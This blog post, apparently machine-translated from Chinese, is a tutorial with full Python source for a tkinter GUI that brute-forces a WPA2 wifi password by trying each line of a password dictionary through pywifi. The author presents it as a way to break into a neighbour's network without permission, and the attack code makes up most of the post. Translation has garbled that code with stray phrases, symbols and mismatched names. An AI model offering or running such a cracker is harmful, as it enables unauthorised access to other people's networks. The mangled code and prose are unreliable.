Use python password to guess violence to break wifi

Last night, the net stopped at home. For Mono, it’s okay? Called the network, said it was too late, and it took the next day to come in… and suddenly found that the girl next door had a wifi signal full of guavas, which made me wonder if there was any way to get off the net, first, using the almighty key, but not working.

So I’m gonna have to run the code with a dictionary, and this little thing is going to be done by python, and we’re gonna find out that the pywifi component meets the demand.

# Brief description

Python’s rich third-party bank, which naturally also includes wifi’s API, can easily be connected to the wifi. If you have a detailed password, you can break the wifi code violently if you have enough patience and time to wait.

# Thinking

For given wifi names, we recycle passwords to try one at a time, and if you fail, the connection is disconnected until the connection is successful. This means importing the third-party library that is required (please download it yourself), using the pywifi web interface, testing in turn, and rereading passwords trying to connect. Here, just change the password file path and wifi name.

# Environmental readiness

  • python2.7
  • Pywifi module
  • Dictionary

# Import module

from pywifi import *

# Prepare the dictionary

Random wilfi password Top10. A line contains only a set of passwords, with scripts reading each line until the correct password is found.

# Full code

  1. # coding:utf-8
  2. from tkinter import *
  3. from tkinter import ttk
  4. import pywifi
  5. from pywifi import const
  6. import time
  7. import tkinter.filedialog
  8. import tkinter.messagebox
  9. class MY_GUI():
  10. Def __init__(self,init_window_name):
  11. self.init_window_name = init_window_name
  12. # Password file path
  13. self.get_value = StringVar()
  14. # Get to crack wifi accounts
  15. self.get_wifi_value = StringVar()
  16. # Get the wifi password
  17. self.get_wifimm_value = StringVar()
  18. self.wifi = pywifi.PyWiFi() # Grab a webca interface
  19. self.iface = self.wifi.interfaces()[0] # Grab the first wireless card
  20. self.iface.disconnect() # Test links to disconnect all links
  21. time.sleep(1) # One second of hibernation
  22. # Test if the netcard is disconnected
  23. Assert self.iface.status() I don’t know.\
  24. [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
  25. Def __str_(self):
  26. return ‘(WIFI:%s,%s)’ % (self.wifi,self.iface.name())
  27. # Set Window
  28. Def set_init_window(self):
  29. self.init_window_name.title(“WIFI deciphering tool.”)
  30. self.init_window_name.geometry(‘+500+200’)
  31. labelframe = LabelFrame(width=400, height=200,text=Configure)
  32. labelframe.grid(column=0♪ I’m not sure what you want ♪0, padx=10, pady=10)
  33. self.search = Button(labelframe,text=“Search around WiFi.”,command=self.scans_wifi_list).grid(column=0♪ I’m not sure what you want ♪0)
  34. self.pojie = Button(labelframe,text=“to begin to crack.”,command=self.readPassWord).grid(column=1♪ I’m not sure what you want ♪0)
  35. self.label = Label(labelframe,text=“Direct path:).grid(column=0♪ I’m not sure what you want ♪1)
  36. self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1♪ I’m not sure what you want ♪1)
  37. self.file = Button(labelframe,text=“Add password file directory.”,command=self.add_mm_file).grid(column=2♪ I’m not sure what you want ♪1)
  38. self.wifi_text = Label(labelframe,text=“WiFi account number:).grid(column=0♪ I’m not sure what you want ♪2)
  39. self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1♪ I’m not sure what you want ♪2)
  40. self.wifi_mm_text = Label(labelframe,text=“WiFi password:”).grid(column=2♪ I’m not sure what you want ♪2)
  41. self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3♪ I’m not sure what you want ♪2,sticky=W)
  42. self.wifi_labelframe = LabelFrame(text=“wifi list.”)
  43. self.wifi_labelframe.grid(column=0♪ I’m not sure what you want ♪3,columnspan=4,sticky=NSEW)
  44. # Define tree structure and scroll bar
  45. self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show=“headings”,columns=(“a”, “b”, “c”, “d.”))
  46. self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
  47. self.wifi_tree.configure(yscrollcommand=self.vbar.set)
  48. # Title of the table
  49. self.wifi_tree.column(“a”, width=50, anchor=“center”)
  50. self.wifi_tree.column(“b”, width=100, anchor=“center”)
  51. self.wifi_tree.column(“c”, width=100, anchor=“center”)
  52. self.wifi_tree.column(“d.”, width=100, anchor=“center”)
  53. self.wifi_tree.heading(“a”, text=“WiFiID”)
  54. self.wifi_tree.heading(“b”, text=“SSID.”)
  55. self.wifi_tree.heading(“c”, text=“BSSID.”)
  56. self.wifi_tree.heading(“d.”, text=“signal”)
  57. self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
  58. self.wifi_tree.bind(“<Double-1>”,self.onDBClick)
  59. self.vbar.grid(row=4,column=1,sticky=NS)
  60. # Search for wifi
  61. #cmd /k C:\Python27\python.exe “$(FULL_CURRENT_PATH)” & PAUSE & EXIT
  62. Def scans_wifi_list(self): # Scan around the wifi list
  63. # Start scanning
  64. print(“..and start scanning around the wifi…”)
  65. self.iface.scan()
  66. time.sleep(15)
  67. # Get the scan results in a few seconds
  68. Scans = self.iface.scan_results()
  69. # Counting the number of hot spots found around
  70. nums = len(scanres)
  71. print(Number: %s%(nums))
  72. #print (“| %s | %s | %s | %s”%(“WIFIID”,”SSID”,”BSSID”,”signal”))
  73. # Actual
  74. self.show_scans_wifi_list(scans)
  75. return scanners
  76. # Show the wifi list
  77. Def show_scans_wifi_list(self_BAR_scans):
  78. You know, for… index,wifi_info I don’t know. enumerate(scans_res):
  79. # print(“%-*s| %s | %*s |%*s\n”%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
  80. self.wifi_tree.insert(“”,‘end’,values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
  81. #print(“| %s | %s | %s | %s \n”%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
  82. # Add password file directory
  83. Def add_mm_file(self):
  84. self.filename = tkinter.filedialog.askopenfilename()
  85. self.get_value.set(self.filename)
  86. #Treeview binding event
  87. Def onDBClick(self,event):
  88. self.sels= event.widget.selection()
  89. self.get_wifi_value.set(self.wifi_tree.item(self.sels,“values”)[1])
  90. #print(“you clicked on”,self.wifi_tree.item(self.sels,”values”)[1])
  91. # Read the dictionary and match it
  92. Def readPassWord(self):
  93. self.getFilePath = self.get_value.get()
  94. #print(“File path: %s\n” (self.getfilePath))
  95. self.get_wifissid = self.get_wifi_value.get()
  96. #print(“ssid:%s\n” %(self.get_wifissid))
  97. self.pwdfilehander=open(self.getFilePath,“r”,errors=“ignore”)
  98. while True:
  99. ♪ try:
  100. self.pwdStr =self.pwdfilehander.readline()
  101. #print (“Cypt: %s “(self.pwdStr))
  102. If… I don’t know, not… self.pwdStr:
  103. break
  104. self.bool1=self.connect(self.pwdStr,self.get_wifissid)
  105. #print(“return value: %s\n” (self. Bool1))
  106. If… self.bool1:
  107. # print(“PhwdStr”)
  108. # res = “密码:%s 正确 \n”%self.pwdStr;
  109. self.res = “===正确=== wifi名:%s 匹配密码:%s “%(self.get_wifissid,self.pwdStr)
  110. self.get_wifimm_value.set(self.pwdStr)
  111. tkinter.messagebox.showinfo(‘Tips’, “Cracked!)
  112. print(selfI don’t know..res)
  113. break
  114. else:
  115. #print (“Pass: +self.pwdStr+ “Error”)
  116. self.res = “— error —wifi name: %s match password: %s”%(self.get_wifissid,self.pwdStr)
  117. print(selfI don’t know..res)
  118. sleep(3)
  119. except:
  120. continue
  121. # Match the wifi with the password
  122. Def connection(self,pwd_Str,wifi_ssid):
  123. # Create wifi link file
  124. self.profile = pywifi.Profile()
  125. self.profile.ssid =wifi_ssid #wifi name
  126. self.profile.auth = const.AUTH_ALG_OPEN # Net open #
  127. self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi encryption algorithm
  128. self.profile.cipher = const.CIPHER_TYPE_CCMP # Encryption unit
  129. self.profile.key = pwd_Str # Password
  130. self.iface.remove_all_network_profiles() # Remove all wifi files
  131. self.tmp_profile = self.iface.add_network_profile(self.profile)# Set a new link file
  132. self.iface.connect(self.tmp_profile)# Link
  133. time.sleep(5)
  134. If… self.iface.status() == const.IFACE_CONNECTED: # Let’s see if it’s connected
  135. isOK=True
  136. else:
  137. isOK=False
  138. self.iface.disconnect() # Disconnect
  139. time.sleep(1)
  140. # Check for disconnection
  141. Assert self.iface.status() I don’t know.\
  142. [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
  143. return isOK
  144. Def gui_start():
  145. init_window = Tk()
  146. ui = MY_GUI(init_window)
  147. print(ui)
  148. ui.set_init_window()
  149. #ui.scans_wifi_list()
  150. init_window.mainloop()
  151. gui_start()

# Results

The results of the operation are shown below, and you can start running with a graphical interface.

Well, isn’t the absolute programmer all-powerful? But I think you should knock on the door and ask your sister next door for a little message. You’ll take her to dinner the next day under this pretext. On the third day, you let her come back and go and you two get acquainted and then you’ll be alone.

未经允许不得转载:萌萌Apprentissage » Use python password to guess violence to break wifi

Like (0) 打赏

Comments 0

Protected with IP Blacklist CloudIP Blacklist Cloud
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

//下一个脚本特效
//下一个脚本